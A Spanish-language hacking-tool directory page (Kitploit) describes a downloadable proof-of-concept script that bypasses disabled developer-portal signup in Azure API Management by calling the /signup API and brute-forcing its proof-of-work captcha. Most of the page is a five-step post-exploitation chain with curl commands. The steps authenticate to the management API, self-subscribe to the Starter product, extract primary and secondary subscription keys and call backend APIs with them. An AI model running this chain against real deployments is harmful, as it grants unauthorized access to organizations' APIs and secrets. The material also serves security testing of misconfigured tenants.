Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — Script en Python para eludir el registro (signup) de Azure APIM cuando la interfaz de usuario (UI) está deshabilitada; esto es diferente de CVE-2025-66390, ya que no requiere configurar nada entre inquilinos (cross tenant). | Kitploit
Herramientas/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
Autenticación y AutorizaciónSeguridad de Infraestructura en la NubeExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónSeguridad en la NubeMala ConfiguraciónSeguridad de APIs

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Bypass de CAPTCHA
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

Script en Python para eludir el registro (signup) de Azure APIM cuando la interfaz de usuario (UI) está deshabilitada; esto es diferente de CVE-2025-66390, ya que no requiere configurar nada entre inquilinos (cross tenant).

Ver Repositorio
hace 15 díasAún no revisado

Un script de prueba de concepto para eludir el registro deshabilitado del portal para desarrolladores en Azure API Management (APIM) invocando directamente la API de registro del backend.

Qué hace

Los portales para desarrolladores de Azure APIM se pueden configurar para deshabilitar el registro de autoservicio a través de la interfaz de usuario del portal. En algunas implementaciones, el endpoint de la API subyacente (/signup) permanece activo y accesible incluso cuando el botón de la interfaz de usuario está oculto o eliminado. Este script explota esa brecha al:

  1. Obtener el desafío captcha de prueba de trabajo (PoW) desde /v2/captcha-challenge
  2. Forzar por fuerza bruta la solución PoW de SHA-256 en el lado del cliente
  3. Enviar una solicitud de registro directamente a /signup con el desafío resuelto y los datos de la cuenta

Todas las entradas (URL objetivo, credenciales, proxy) se solicitan de forma interactiva en tiempo de ejecución.

Relación con CVE-2025-66390

CVE-2025-66390 (CVSS 9.8 Crítico) describe una omisión de registro de APIM entre inquilinos (cross-tenant): un atacante abusa de un inquilino donde el registro está habilitado para crear cuentas en un inquilino diferente donde el registro está deshabilitado, manipulando la cabecera Host en las solicitudes a la API. Microsoft lo marcó como un problema de configuración en lugar de una vulnerabilidad de producto.

Esto no requiere que se cree ningún inquilino cruzado; en su lugar, solo usa el endpoint /v2/captcha-challenge para resolver el captcha en 75000 iteraciones (promedio)

Uso

root@kitploit:~
python3 apim_signup.py

Solicita la URL objetivo, los datos de la cuenta, la contraseña (entrada oculta, que se muestra para confirmación) y un proxy opcional.

Cadena de explotación posterior al registro

Una vez que la solicitud de registro tiene éxito y llega el correo de confirmación, la cadena de ataque completa es:

Paso 1 — Confirmar el correo electrónico

Haz clic en el enlace de confirmación del correo electrónico de registro. Esto activa la cuenta antes de que la API de administración la autentique.

Paso 2 — Autenticarse y obtener el ID de usuario

Llama a la API de administración de APIM con autenticación Basic (base64(email:password)) para obtener tu ID de usuario interno:

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

El campo id devuelto se usa en todas las llamadas posteriores a la API de administración.

O llama a /developer/identity?api-version=2022-04-01-preview <-- la versión no importa Una interfaz de usuario te pedirá iniciar sesión; desde allí también puedes obtener tu id.

imagen

Paso 3 — Auto-suscribirse a un producto

El producto Starter predeterminado incluye approvalRequired: false, lo que significa que no se necesita aprobación del administrador. Auto-suscríbete mediante PUT:

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

Llega un correo electrónico de confirmación ("Your subscription to the Starter") desde [email protected].

Paso 4 — Obtener las claves de suscripción

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

Paso 5 — Llamar a las API del backend

Usa la clave principal como Ocp-Apim-Subscription-Key contra la puerta de enlace de APIM para realizar llamadas autenticadas al backend:

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

El acceso está determinado por las API que están asignadas al producto Starter; en una implementación mal configurada, esto puede exponer backends internos sin autenticación adicional.


Para más detalles, este artículo describe muy bien la cadena; solo quita la parte del inquilino cruzado. https://www.praetorian.com/blog/azure-apim-signup-bypass/

Descargar herramienta